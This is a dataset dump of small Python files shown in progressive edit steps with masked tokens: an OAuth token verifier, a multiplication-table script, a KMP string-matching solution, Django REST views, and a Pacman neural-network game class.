contract_abis[TOKEN_ABI_NAME]['bytecode']\n\n\n@pytest.fixture(scope='session')\ndef kovan_block_time():\n return 4\n", "step-ids": [ 10, 11, 17, 18, 21 ] }

[ 10, 11, 17, 18, 21 ]

<|reserved_special_token_0|> def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <|reserved_special_token_1|> <|reserved_special_token_0|> def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <|reserved_special_token_1|> <|reserved_special_token_0|> CLIENT_ID = ( '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com') def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <|reserved_special_token_1|> from oauth2client import client, crypt CLIENT_ID = ( '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com') def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: return None except crypt.AppIdentityError: return None return idinfo <|reserved_special_token_1|> #!/usr/bin/env python2.7 # Google APIs from oauth2client import client, crypt CLIENT_ID = '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com' def fetchIdToken(): url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token=' f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID)) if f.getCode() != 200: return None return f.read() def getIdInfo(token): try: idinfo = client.verify_id_token(token, CLIENT_ID) if idinfo['aud'] not in [CLIENT_ID]: # raise crypt.AppIdentityError("Unrecognized client.") return None if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']: # raise crypt.AppIdentityError("Wrong issuer.") return None except crypt.AppIdentityError: return None return idinfo

flexible

{ "blob_id": "2251a6064998f25cca41b018a383053d73bd09eb", "index": 2321, "step-1": "<mask token>\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-2": "<mask token>\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-3": "<mask token>\nCLIENT_ID = (\n '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com')\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-4": "from oauth2client import client, crypt\nCLIENT_ID = (\n '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com')\n\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n return None\n if idinfo['iss'] not in ['accounts.google.com',\n 'https://accounts.google.com']:\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n", "step-5": "#!/usr/bin/env python2.7\n\n# Google APIs\nfrom oauth2client import client, crypt\n\nCLIENT_ID = '788221055258-j59svg86sv121jdr7utnhc2rs9tkb9s4.apps.googleusercontent.com'\n\ndef fetchIdToken():\n url = 'https://www.googleapis.com/oauth2/v3/tokeninfo?id_token='\n f = urllib.urlopen(url + urllib.urlencode(CLIENT_ID))\n if f.getCode() != 200:\n return None\n return f.read()\n\ndef getIdInfo(token):\n try:\n idinfo = client.verify_id_token(token, CLIENT_ID)\n if idinfo['aud'] not in [CLIENT_ID]:\n # raise crypt.AppIdentityError(\"Unrecognized client.\")\n return None\n if idinfo['iss'] not in ['accounts.google.com', 'https://accounts.google.com']:\n # raise crypt.AppIdentityError(\"Wrong issuer.\")\n return None\n except crypt.AppIdentityError:\n return None\n return idinfo\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

# Autor : Kevin Oswaldo Palacios Jimenez # Fecha de creacion: 16/09/19 # Se genera un bucle con for # al no tener argumento print no genera ningun cambio # mas que continuar a la siguiente linea for i in range (1,11): encabezado="Tabla del {}" print(encabezado.format(i)) print() # Usaremos un for dentro de otro generando un bucle mas for j in range(1,11): # en donde i tendremos la base # con j tendriamos el elemento salida="{} x {} = {}" print(salida.format(i,j,i*j)) else: # con el bucle teniendo su proceso iterativo # se saltaran las linea pero ejecutando el codigo print()

normal

{ "blob_id": "86f365612e9f15e7658160ecab1d3d9970ca364e", "index": 9699, "step-1": "<mask token>\n", "step-2": "for i in range(1, 11):\n encabezado = 'Tabla del {}'\n print(encabezado.format(i))\n print()\n for j in range(1, 11):\n salida = '{} x {} = {}'\n print(salida.format(i, j, i * j))\n else:\n print()\n", "step-3": "# Autor : Kevin Oswaldo Palacios Jimenez\r\n# Fecha de creacion: 16/09/19 \r\n\r\n# Se genera un bucle con for \r\n# al no tener argumento print no genera ningun cambio \r\n# mas que continuar a la siguiente linea\r\nfor i in range (1,11): \r\n encabezado=\"Tabla del {}\" \r\n print(encabezado.format(i))\r\n\r\n print() \r\n # Usaremos un for dentro de otro generando un bucle mas\r\n for j in range(1,11): \r\n # en donde i tendremos la base \r\n # con j tendriamos el elemento\r\n salida=\"{} x {} = {}\" \r\n print(salida.format(i,j,i*j)) \r\n else: \r\n # con el bucle teniendo su proceso iterativo \r\n # se saltaran las linea pero ejecutando el codigo \r\n print() ", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

<|reserved_special_token_0|> def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <|reserved_special_token_0|> <|reserved_special_token_1|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <|reserved_special_token_0|> <|reserved_special_token_1|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret <|reserved_special_token_0|> for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status)) <|reserved_special_token_1|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin elif matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret C = int(input()) for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status)) <|reserved_special_token_1|> def get_partial_matched(n): pi = [0] * len(n) begin = 1 matched = 0 while begin + matched < len(n): if n[begin + matched] == n[matched]: matched += 1 pi[begin + matched - 1] = matched else: if matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return pi def get_common(h, n): pi = get_partial_matched(n) begin = 0 matched = 0 while begin + matched < len(h): if matched < len(n) and h[begin + matched] == n[matched]: matched += 1 if matched == len(n): return len(n) - begin else: if matched == 0: begin += 1 else: begin += matched - pi[matched - 1] matched = pi[matched - 1] return 0 def solution(status): n = len(status) ret = 0 for i in range(n - 1): clockwise = i % 2 == 0 if clockwise: ret += get_common(2 * status[i], status[i + 1]) else: ret += get_common(2 * status[i + 1], status[i]) return ret C = int(input()) for _ in range(C): N = int(input()) status = [] for _ in range(N + 1): status.append(input()) print(solution(status))

flexible

{ "blob_id": "16a77c45a58e31c575511146dfceeaef0a2bc3a7", "index": 3640, "step-1": "<mask token>\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\n", "step-2": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\n", "step-3": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\n<mask token>\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-4": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n elif matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\nC = int(input())\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-5": "def get_partial_matched(n):\n pi = [0] * len(n)\n begin = 1\n matched = 0\n while begin + matched < len(n):\n if n[begin + matched] == n[matched]:\n matched += 1\n pi[begin + matched - 1] = matched\n else:\n if matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return pi\n\n\ndef get_common(h, n):\n pi = get_partial_matched(n)\n begin = 0\n matched = 0\n while begin + matched < len(h):\n if matched < len(n) and h[begin + matched] == n[matched]:\n matched += 1\n if matched == len(n):\n return len(n) - begin\n else:\n if matched == 0:\n begin += 1\n else:\n begin += matched - pi[matched - 1]\n matched = pi[matched - 1]\n return 0\n\n\ndef solution(status):\n n = len(status)\n ret = 0\n for i in range(n - 1):\n clockwise = i % 2 == 0\n if clockwise:\n ret += get_common(2 * status[i], status[i + 1])\n else:\n ret += get_common(2 * status[i + 1], status[i])\n return ret\n\n\nC = int(input())\n\nfor _ in range(C):\n N = int(input())\n status = []\n for _ in range(N + 1):\n status.append(input())\n print(solution(status))\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

<|reserved_special_token_0|> class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <|reserved_special_token_1|> <|reserved_special_token_0|> class ConcertList(ListCreateAPIView): <|reserved_special_token_0|> <|reserved_special_token_0|> class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <|reserved_special_token_1|> <|reserved_special_token_0|> class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <|reserved_special_token_1|> from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from .serializers import ConcertSerializer from .models import Concert from .permissions import IsOwnerOrReadOnly class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = IsOwnerOrReadOnly, queryset = Concert.objects.all() serializer_class = ConcertSerializer <|reserved_special_token_1|> from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView from .serializers import ConcertSerializer from .models import Concert from .permissions import IsOwnerOrReadOnly class ConcertList(ListCreateAPIView): queryset = Concert.objects.all() serializer_class = ConcertSerializer class ConcertDetail(RetrieveUpdateDestroyAPIView): permission_classes = (IsOwnerOrReadOnly,) queryset = Concert.objects.all() serializer_class = ConcertSerializer

flexible

{ "blob_id": "74ad2ec2cd7cd683a773b0affde4ab0b150d74c5", "index": 4780, "step-1": "<mask token>\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-2": "<mask token>\n\n\nclass ConcertList(ListCreateAPIView):\n <mask token>\n <mask token>\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-3": "<mask token>\n\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-4": "from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView\nfrom .serializers import ConcertSerializer\nfrom .models import Concert\nfrom .permissions import IsOwnerOrReadOnly\n\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = IsOwnerOrReadOnly,\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-5": "from rest_framework.generics import ListCreateAPIView, RetrieveUpdateDestroyAPIView\nfrom .serializers import ConcertSerializer\nfrom .models import Concert\nfrom .permissions import IsOwnerOrReadOnly\n\nclass ConcertList(ListCreateAPIView):\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n\n\nclass ConcertDetail(RetrieveUpdateDestroyAPIView):\n permission_classes = (IsOwnerOrReadOnly,)\n queryset = Concert.objects.all()\n serializer_class = ConcertSerializer\n", "step-ids": [ 2, 3, 4, 5, 6 ] }

[ 2, 3, 4, 5, 6 ]

flexible

{ "blob_id": "6e2fb9d498294a580426ff408183f7beec135329", "index": 5592, "step-1": "<mask token>\n", "step-2": "def add2nums(a, b):\n return a + b\n", "step-3": "# function to add two numbers\ndef add2nums(a,b):\n return a+b\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }

[ 0, 1, 2 ]

import pygame from config import * from Map import * from NeuralNetwork import * class Pacman(object): RADIUS = int(TILE_WIDTH/2) def __init__(self, mapa, neural_net): self.mapa = mapa self.pos_x = 11 self.pos_y = 17 self.vel_x = 1 self.vel_y = 0 self.isAlive = True self.Frame = 0 self.score = 0 self.count = 0 self.count2 = 0 self.lastMove = "" self.movesCount = 0 self.neural_network = neural_net def update(self, input_data): self.Frame += 1 self.handle_mov(input_data) self.handle_colision() if(self.count > TimeToStarve): self.killPacman() if(self.Frame == FPS/MPS): self.Frame = 0 def handle_colision(self): if(self.mapa.map[self.pos_y][self.pos_x] == 2): self.mapa.getFruit(self.pos_y,self.pos_x) self.count = 0 self.score += 1 def draw(self, win): pygame.draw.circle( win, pygame.color.Color("yellow"), ( self.pos_x * TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.RADIUS ), self.RADIUS ) def handle_mov(self, input_data): movement = (self.vel_x, self.vel_y) vel_list = { 'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right': (1, 0) } movement = vel_list[self.neural_network.nextaction(input_data)] if self.lastMove == movement: self.movesCount += 1 else: self.movesCount = 0 self.lastMove = movement if(self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]] != 1): self.vel_x, self.vel_y = movement if(self.Frame == (FPS/MPS) and self.mapa.map[self.pos_y + self.vel_y][self.pos_x + self.vel_x] != 1): self.pos_x += self.vel_x self.pos_y += self.vel_y self.count2 += 1 self.count += 1 def getPos(self): return (self.pos_x, self.pos_y) def getVel(self): return (self.vel_x, self.vel_y) def killPacman(self): self.isAlive = False

normal

{ "blob_id": "d3b5d87b56421940449fdef48be6da9fa650dd90", "index": 1756, "step-1": "<mask token>\n\n\nclass Pacman(object):\n <mask token>\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x *\n TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n <mask token>\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Pacman(object):\n <mask token>\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x *\n TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n <mask token>\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-3": "<mask token>\n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH / 2)\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x *\n TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n\n def handle_mov(self, input_data):\n movement = self.vel_x, self.vel_y\n vel_list = {'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right':\n (1, 0)}\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n if self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]\n ] != 1:\n self.vel_x, self.vel_y = movement\n if self.Frame == FPS / MPS and self.mapa.map[self.pos_y + self.vel_y][\n self.pos_x + self.vel_x] != 1:\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n self.count += 1\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-4": "import pygame\nfrom config import *\nfrom Map import *\nfrom NeuralNetwork import *\n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH / 2)\n\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n self.vel_x = 1\n self.vel_y = 0\n self.isAlive = True\n self.Frame = 0\n self.score = 0\n self.count = 0\n self.count2 = 0\n self.lastMove = ''\n self.movesCount = 0\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n self.handle_mov(input_data)\n self.handle_colision()\n if self.count > TimeToStarve:\n self.killPacman()\n if self.Frame == FPS / MPS:\n self.Frame = 0\n\n def handle_colision(self):\n if self.mapa.map[self.pos_y][self.pos_x] == 2:\n self.mapa.getFruit(self.pos_y, self.pos_x)\n self.count = 0\n self.score += 1\n\n def draw(self, win):\n pygame.draw.circle(win, pygame.color.Color('yellow'), (self.pos_x *\n TILE_WIDTH + self.RADIUS, self.pos_y * TILE_HEIGHT + self.\n RADIUS), self.RADIUS)\n\n def handle_mov(self, input_data):\n movement = self.vel_x, self.vel_y\n vel_list = {'up': (0, -1), 'down': (0, 1), 'left': (-1, 0), 'right':\n (1, 0)}\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n if self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]\n ] != 1:\n self.vel_x, self.vel_y = movement\n if self.Frame == FPS / MPS and self.mapa.map[self.pos_y + self.vel_y][\n self.pos_x + self.vel_x] != 1:\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n self.count += 1\n\n def getPos(self):\n return self.pos_x, self.pos_y\n\n def getVel(self):\n return self.vel_x, self.vel_y\n\n def killPacman(self):\n self.isAlive = False\n", "step-5": "import pygame\nfrom config import *\nfrom Map import *\nfrom NeuralNetwork import *\n\n\nclass Pacman(object):\n RADIUS = int(TILE_WIDTH/2)\n def __init__(self, mapa, neural_net):\n self.mapa = mapa\n self.pos_x = 11\n self.pos_y = 17\n\n self.vel_x = 1\n self.vel_y = 0\n\n self.isAlive = True\n\n self.Frame = 0\n self.score = 0\n\n self.count = 0\n self.count2 = 0\n self.lastMove = \"\"\n self.movesCount = 0\n\n self.neural_network = neural_net\n\n def update(self, input_data):\n self.Frame += 1\n\n self.handle_mov(input_data)\n self.handle_colision()\n\n if(self.count > TimeToStarve):\n self.killPacman()\n \n\n if(self.Frame == FPS/MPS):\n self.Frame = 0\n \n \n def handle_colision(self):\n if(self.mapa.map[self.pos_y][self.pos_x] == 2):\n self.mapa.getFruit(self.pos_y,self.pos_x)\n self.count = 0\n self.score += 1\n\n\n def draw(self, win):\n pygame.draw.circle(\n win,\n pygame.color.Color(\"yellow\"),\n (\n self.pos_x * TILE_WIDTH + self.RADIUS,\n self.pos_y * TILE_HEIGHT + self.RADIUS\n ), self.RADIUS\n )\n\n \n\n def handle_mov(self, input_data):\n movement = (self.vel_x, self.vel_y)\n vel_list = {\n 'up': (0, -1),\n 'down': (0, 1),\n 'left': (-1, 0),\n 'right': (1, 0)\n }\n\n movement = vel_list[self.neural_network.nextaction(input_data)]\n if self.lastMove == movement:\n self.movesCount += 1\n else:\n self.movesCount = 0\n self.lastMove = movement\n\n\n if(self.mapa.map[self.pos_y + movement[1]][self.pos_x + movement[0]] != 1):\n self.vel_x, self.vel_y = movement\n \n if(self.Frame == (FPS/MPS) and self.mapa.map[self.pos_y + self.vel_y][self.pos_x + self.vel_x] != 1):\n self.pos_x += self.vel_x\n self.pos_y += self.vel_y\n self.count2 += 1\n \n self.count += 1\n\n def getPos(self):\n return (self.pos_x, self.pos_y)\n \n def getVel(self):\n return (self.vel_x, self.vel_y)\n \n def killPacman(self):\n self.isAlive = False", "step-ids": [ 7, 8, 10, 11, 12 ] }

[ 7, 8, 10, 11, 12 ]

